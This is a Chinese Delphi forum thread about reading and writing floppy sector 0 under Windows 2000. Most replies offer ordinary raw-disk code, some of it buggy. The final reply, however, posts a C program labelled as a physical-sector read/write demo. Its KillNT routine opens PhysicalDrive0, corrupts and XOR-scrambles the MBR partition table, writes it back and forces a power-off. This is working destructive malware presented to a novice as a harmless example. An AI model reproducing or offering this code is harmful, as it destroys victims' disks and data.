救我,我想知道2000下如何直接读取和写入软盘的0扇区?(100分)

  • 主题发起人 主题发起人 zswenyun
  • 开始时间 开始时间
Z

zswenyun

Unregistered / Unconfirmed
GUEST, unregistred user!
我知道2000下用createfile('//./A:',GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);<br>&nbsp;与=WriteFile()可以写入软盘,但是若我想指定一个扇区的话不自怎么做
 
用DeviceIoControl好象不行
 
若你回答出来了,在<br>http://www.delphibbs.com/delphibbs/dispq.asp?lid=1144635<br>还有100分
 
没人知道吗?
 
大富翁的高手都那里去了?<br>是不是现在都只剩下我们这些菜鸟了?
 
这可能吗?我觉得是否问微软工程师好些。
 
那换一种问法:<br>我用createfile('//./A:',GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);<br>&nbsp;与=WriteFile()可以写入软盘后,我怎么知道这次写入是写在软盘的那个部位呢?
 
var<br>&nbsp; hd,ps:THandle;<br>&nbsp; buf:array[0..1024-1] of byte;<br>&nbsp; dwStartSector,wSectors:integer;<br>begin<br>&nbsp; StartSec:=StrToInt(EdtStart.Text);<br>&nbsp; SecCount:=StrToInt(EdtCount.Text);<br>&nbsp; FillChar(buf,1024,0);<br>&nbsp; hd:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);<br>&nbsp; SetFilePointer(hd,512*dwStartSector,0,FILE_BEGIN);<br>&nbsp; ps:=0;<br>&nbsp; ReadFile(hd,buf,512*wSectors,ps,0);<br>&nbsp; CloseHandle(hd);<br>end;<br>期中 dwStartSector 是开始扇区,wSectors 是扇区数<br><br>拿分来[:D][:D][:D]
 
》》:Xxfeng<br>&nbsp;那磁道数在那里确定呢?
 
根据软盘格式自己算磁道数,然后再用SetFilePointer定位
 
&gt;&gt;Xxfeng<br>&nbsp;<br>能教我怎么算吗?<br>另外在http://www.delphibbs.com/delphibbs/dispq.asp?lid=1144635<br>还有100分,与这是同一问题,<br>问题解决后请到那里拿分。
 
如果有分的话,,,。<br>我在做“软件防盗版”时,解决了该问题,还包括光盘、硬盘等,但这不仅是分的问题了。<br>My E-Mail:toyzn@godnet.biz
 
&gt;&gt;深之蓝<br>你若知道怎么读指定的软盘扇区的话教教我好吗,<br>至于其它的我还不想了解太多,毕竟我不是搞这方面的
 
帮我看一下下面的程序<br>程序如下:<br>unit Unit1;<br>interface<br>uses<br>&nbsp; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>&nbsp; StdCtrls, ComCtrls;<br><br>type INT13Regs = record<br>&nbsp; &nbsp; &nbsp;buffer:pointer;//EBX寄存器<br>&nbsp; &nbsp; &nbsp; Drive:BYTE;//磁盘号,dl<br>&nbsp; &nbsp; &nbsp;Head:BYTE;//刺头号,dh<br>&nbsp; &nbsp; &nbsp;EDX_Hight:WORD;//EDX寄存器<br>&nbsp; &nbsp; &nbsp;Sector:BYTE;//起始扇区号,cl<br>&nbsp; &nbsp; &nbsp;Track:BYTE;//磁道号,ch<br>&nbsp; &nbsp; &nbsp;ECX_Hight:WORD;//ECX寄存器<br>&nbsp; &nbsp; &nbsp;Number:BYTE;//要读写的扇区数,al<br>&nbsp; &nbsp; &nbsp;CMD:BYTE;//命令:2—读,3—写,5—格式化,ah<br>&nbsp; &nbsp; &nbsp;EAX_Hight:WORD;//EAX寄存器<br>&nbsp; &nbsp; &nbsp;EDI:DWORD;//EDI寄存器<br>&nbsp; &nbsp; &nbsp;ESI:DWORD;//ESI寄存器<br>&nbsp; &nbsp; &nbsp;Flags:DWORD;//Flags<br>&nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp;TVWin32CtlCode = (ccNone,ccVWin32Intloctl,ccVWin32Int26,ccVWin32Int25,ccVWin32Int13);<br><br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; Button1: TButton;<br>&nbsp; &nbsp; Button2: TButton;<br>&nbsp; &nbsp; Button3: TButton;<br>&nbsp; &nbsp; Button4: TButton;<br>&nbsp; &nbsp; edit1: TEdit;<br>&nbsp; &nbsp; RichEdit1: TRichEdit;<br>&nbsp; &nbsp; Edit2: TEdit;<br>&nbsp; &nbsp; Edit3: TEdit;<br>&nbsp; &nbsp; Label1: TLabel;<br>&nbsp; &nbsp; Label2: TLabel;<br>&nbsp; &nbsp; Button5: TButton;<br>&nbsp; &nbsp; Label3: TLabel;<br>&nbsp; &nbsp; Edit4: TEdit;<br>&nbsp; &nbsp; Button6: TButton;<br>&nbsp; &nbsp; Edit5: TEdit;<br>&nbsp; &nbsp; Label4: TLabel;<br>&nbsp; &nbsp; procedure Button1Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button2Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button3Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button4Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button5Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button6Click(Sender: TObject);<br>&nbsp; private<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; end;<br><br>var<br>&nbsp; Form1: TForm1;<br><br>implementation<br><br>{$R *.DFM}<br>///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br>procedure TForm1.Button1Click(Sender: TObject);//98下读取<br>var hDev:thandle;<br>&nbsp; &nbsp; Abuffer,LPRET:array[0..511] of char;//定义缓冲区,放置读取扇区数据<br>&nbsp; &nbsp; int13_registers:INT13Regs;//定义INT13中断的寄存器结构变量<br>&nbsp; &nbsp; b_int13_registers,AA:boolean;<br>&nbsp; &nbsp; TCOUNT:DWORD;<br>&nbsp; &nbsp; i,j:integer;<br>&nbsp; &nbsp; Tempstr:string;<br>begin<br>hDev:=CreateFile('//./VWIN32 ',0,0,NIL,0,FILE_FLAG_DELETE_ON_CLOSE,0);<br>int13_registers.buffer:=@Abuffer;<br>int13_registers.Drive:=0;//0-软盘A;1—软盘B;0x80-硬盘c<br>&nbsp;int13_registers.Head:=0;//0面<br>&nbsp;int13_registers.Track:=0;//0磁到道<br>int13_registers.Sector:=0;//0扇区<br>int13_registers.Number:=1;<br>int13_registers.CMD:=2;//读操作<br>b_int13_registers:=FALSE;<br>AA:=DeviceioControl(hDev,ord(ccVWin32Int13),@int13_registers,sizeof(INT13Regs),@int13_registers,sizeof(INT13Regs),TCOUNT,NIL);<br>CLOSEHANDLE(hDev);<br>//AA:=b_int13_registers;<br>&nbsp; for i:=0 to 511do<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; Edit1.text:=Edit1.text+Abuffer;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; end;<br>end;<br>///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br>procedure TForm1.Button2Click(Sender: TObject);//98下写<br>var hDev:thandle;<br>&nbsp; &nbsp; Abuffer,LPRET:array[0..511] of char;//定义缓冲区,放置读取扇区数据<br>&nbsp; &nbsp; int13_registers:INT13Regs;//定义INT13中断的寄存器结构变量<br>&nbsp; &nbsp; b_int13_registers,aa:boolean;<br>&nbsp; &nbsp; TCOUNT:DWORD;<br>&nbsp; &nbsp; i:integer;<br>begin<br>hDev:=CreateFile('//./VWIN32 ',0,0,NIL,0,FILE_FLAG_DELETE_ON_CLOSE,0);<br>for i:=0 to 511 do<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; Abuffer:='b';<br>&nbsp; &nbsp; end;<br>int13_registers.buffer:=@Abuffer;<br>int13_registers.Drive:=0;//0-软盘A;1—软盘B;0x80-硬盘c<br>int13_registers.Head:=0;<br>&nbsp;int13_registers.Track:=0;<br>int13_registers.Sector:=0;<br>int13_registers.Number:=1;<br>int13_registers.CMD:=3;//写入<br>b_int13_registers:=DeviceioControl(hDev,4,@int13_registers,sizeof(INT13Regs),@int13_registers,<br>sizeof(INT13Regs),TCOUNT,NIL);<br>CLOSEHANDLE(hDev);<br>end;<br>///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br>procedure TForm1.Button3Click(Sender: TObject);//2000下读<br>var hDev:Thandle;<br>&nbsp; &nbsp; dwRet:dword;<br>&nbsp; &nbsp; RBuffer:array[0..511] of char;<br>&nbsp; &nbsp; Tempstr:string;<br>&nbsp; &nbsp; i,j:integer;<br>&nbsp; &nbsp; tcount:boolean;<br>&nbsp; &nbsp; dwStartSector:integer;<br>begin<br>&nbsp; dwStartSector:=0;//起始位置<br>&nbsp; hDev:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);<br>&nbsp; SetFilePointer(hDev,512*dwStartSector,0,FILE_BEGIN);<br>&nbsp; dwRet:=0;<br>&nbsp; tcount:=ReadFile(hDev,RBuffer,512,dwRet,0);<br>&nbsp; for i:=0 to 511 do<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; Edit1.text=Edit1.text+RBuffer;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; closehandle(hDev);<br>end;<br>///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br>procedure TForm1.Button4Click(Sender: TObject);//2000下写入<br>var hDev:Thandle;<br>&nbsp; &nbsp; dwRet:dword;<br>&nbsp; &nbsp; RBuffer:array[0..511] of char;<br>&nbsp; &nbsp; Tempstr:string;<br>&nbsp; &nbsp; i:integer;<br>&nbsp; &nbsp; &nbsp;tcount:boolean;<br>&nbsp; &nbsp; &nbsp;dwStartSector:integer;<br>begin<br>&nbsp; dwStartSector:=0;<br>&nbsp; hDev:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);<br>&nbsp; SetFilePointer(hDev,512*dwStartSector,0,FILE_BEGIN);<br>&nbsp; dwRet:=0;<br>&nbsp; for i:=0 to 511 do<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; RBuffer:='a';<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp;tcount:=WriteFile(hDev,RBuffer,512,dwRet,0);<br>&nbsp;closehandle(hDev);<br>end;<br>//我不知道2000下这样写入软盘,是不是写入0面0磁道0扇区,<br>我先用98下的写入在98下写入软盘,然后再在2000下读出,<br>但是读出的不是98下写入的内容,而2000下写入,98下读取也一样
 
ShlWapi有系统中断接口,是未公开的API,你可以反编译一下shell32.dll,看它是怎么调用ShlWapi中的int13接口的。
 
&gt;&gt;to ForDelphi<br>你有反编译出来吗?告诉我一下把!<br>我可不知道用什么工具来反编译
 
把我这里有的两个都给你贴出来吧,希望对你有用<br><br>=========1、硬盘MBR读写============<br>procedure TForm1.Button1Click(Sender: TObject);<br>var &nbsp;hFile:THandle ;<br>&nbsp; &nbsp; &nbsp;bytesread:DWORD;<br>&nbsp; &nbsp; &nbsp;buf: array[0..511] of char ;<br>&nbsp; &nbsp; &nbsp;Security: TSecurityAttributes;<br><br>begin<br><br>&nbsp;hFile:=CreateFile('//./PhysicalDrive0',GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil ,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);<br>&nbsp; if hFile=INVALID_HANDLE_VALUE then<br>&nbsp; begin<br>&nbsp; &nbsp; ShowMessage('No file exists yet.' );<br>&nbsp; &nbsp; Exit;<br>&nbsp; end;<br>&nbsp; if not &nbsp;ReadFile(hFile, buf, sizeof(buf), bytesread, nil) then showmessage('Error');<br><br>end;<br><br>===========2、C语言的==============<br>//演示如何在Windows NT/2000下对硬盘物理扇区读写<br>#include &lt;windows.h&gt;<br>#include &lt;winioctl.h&gt;<br>//---------------------------------------------------------------------------<br>void WINAPI ExitWin()<br>{<br>&nbsp; &nbsp;HANDLE hProcess, &nbsp; hToken;<br>&nbsp; &nbsp;TOKEN_PRIVILEGES &nbsp; NewState;<br>&nbsp; &nbsp;DWORD ProcessId, &nbsp; ReturnLength = 0;<br>&nbsp; &nbsp;LUID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; luidPrivilegeLUID;<br><br>&nbsp; &nbsp;ProcessId = GetCurrentProcessId();<br>&nbsp; &nbsp;hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);<br>&nbsp; &nbsp;OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &amp;hToken);<br>&nbsp; &nbsp;LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &amp;luidPrivilegeLUID);<br><br>&nbsp; &nbsp;NewState.PrivilegeCount = 1;<br>&nbsp; &nbsp;NewState.Privileges[0].Luid = luidPrivilegeLUID;<br>&nbsp; &nbsp;NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br><br>&nbsp; &nbsp;if(AdjustTokenPrivileges(hToken, FALSE, &amp;NewState, NULL, NULL, NULL))<br>&nbsp; &nbsp; &nbsp; ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);<br>}<br><br><br>void WINAPI KillNT()<br>{<br><br>&nbsp; HANDLE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hDevice;<br>&nbsp; TCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; szDevicename[64];<br>&nbsp; LPTSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;szBuff;<br>&nbsp; DISK_GEOMETRY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Geometry;<br>&nbsp; BOOL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bRet;<br>&nbsp; DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bytes,bread,count;<br>&nbsp; int i;<br><br>&nbsp; char *drive = "0";<br>&nbsp; wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);<br><br>&nbsp; hDevice = CreateFile( szDevicename,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GENERIC_READ|GENERIC_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );<br><br>&nbsp; &nbsp;if (hDevice == INVALID_HANDLE_VALUE)<br>&nbsp; &nbsp;{<br>&nbsp; &nbsp; &nbsp; &nbsp;MessageBox(NULL,"打开设备出错",NULL,MB_OK);<br>&nbsp; &nbsp; &nbsp; &nbsp;ExitProcess(0);<br>&nbsp; &nbsp;}<br><br><br>&nbsp; DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);<br><br>&nbsp; DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&amp;Geometry,sizeof(DISK_GEOMETRY),&amp;count,NULL);<br><br>&nbsp; szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);<br><br>&nbsp; if ( szBuff == NULL)<br>&nbsp; {<br>&nbsp; &nbsp; &nbsp; MessageBox(NULL,"分配内存出错",NULL,MB_OK);<br>&nbsp; &nbsp; &nbsp; ExitProcess(0);<br>&nbsp; }<br><br>&nbsp; bytes = 512;<br><br>&nbsp; bRet = ReadFile(hDevice, szBuff, bytes, &amp;bread, NULL);<br><br>&nbsp; if (bRet==FALSE || bread&lt;512)<br>&nbsp; {<br>&nbsp; &nbsp; &nbsp;MessageBox(NULL,"读MBR出错",NULL,MB_OK);<br>&nbsp; &nbsp; &nbsp;ExitProcess(0);<br>&nbsp; }<br><br><br>&nbsp; *(szBuff + 0x1be) = 0x80;<br>&nbsp; *(szBuff + 0x1bf) = 0x00;<br>&nbsp; *(szBuff + 0x1c2) = 0x05;<br>&nbsp; for ( i = 0x1c3; i &lt; 510; i++ )<br>&nbsp; {<br>&nbsp; &nbsp; &nbsp; *(szBuff + i) ^= 0x926;<br>&nbsp; }<br><br>&nbsp; DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);<br><br>&nbsp; CloseHandle(hDevice);<br><br>&nbsp; wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);<br><br>&nbsp; hDevice = CreateFile( szDevicename,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GENERIC_READ|GENERIC_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );<br><br>&nbsp; if ( hDevice == INVALID_HANDLE_VALUE)<br>&nbsp; {<br>&nbsp; &nbsp; &nbsp;MessageBox(NULL,"打开设备出错",NULL,MB_OK);<br>&nbsp; &nbsp; &nbsp;ExitProcess(0);<br>&nbsp; }<br><br><br>&nbsp; DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);<br><br>&nbsp; DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&amp;Geometry,sizeof(DISK_GEOMETRY),&amp;count,NULL);<br><br>&nbsp; bRet = WriteFile(hDevice,szBuff,bytes,&amp;bread,NULL);<br><br>&nbsp; if (bRet==FALSE || bread&lt;512)<br>&nbsp; {<br>&nbsp; &nbsp; &nbsp;MessageBox(NULL,"写MBR出错",NULL,MB_OK);<br>&nbsp; &nbsp; &nbsp;ExitProcess(0);<br>&nbsp; }<br><br><br>&nbsp; DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);<br><br>&nbsp; HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);<br><br>&nbsp; CloseHandle(hDevice);<br><br>&nbsp; ExitWin();<br><br>}<br><br><br>void WINAPI OSVer()<br>{<br><br>&nbsp; &nbsp;OSVERSIONINFO osi;<br><br>&nbsp; &nbsp;osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);<br><br>&nbsp; &nbsp;if (GetVersionEx(&amp;osi))<br>&nbsp; &nbsp;{<br>&nbsp; &nbsp; &nbsp;if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KillNT();<br>&nbsp; &nbsp;}<br><br>}<br><br><br>WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)<br>{<br><br>&nbsp; &nbsp; &nbsp; &nbsp; OSVer();<br>&nbsp; &nbsp; &nbsp; &nbsp; return 0;<br>}<br><br><br>作者 sinister@whitecell.org <br><br><br>
 
后退
顶部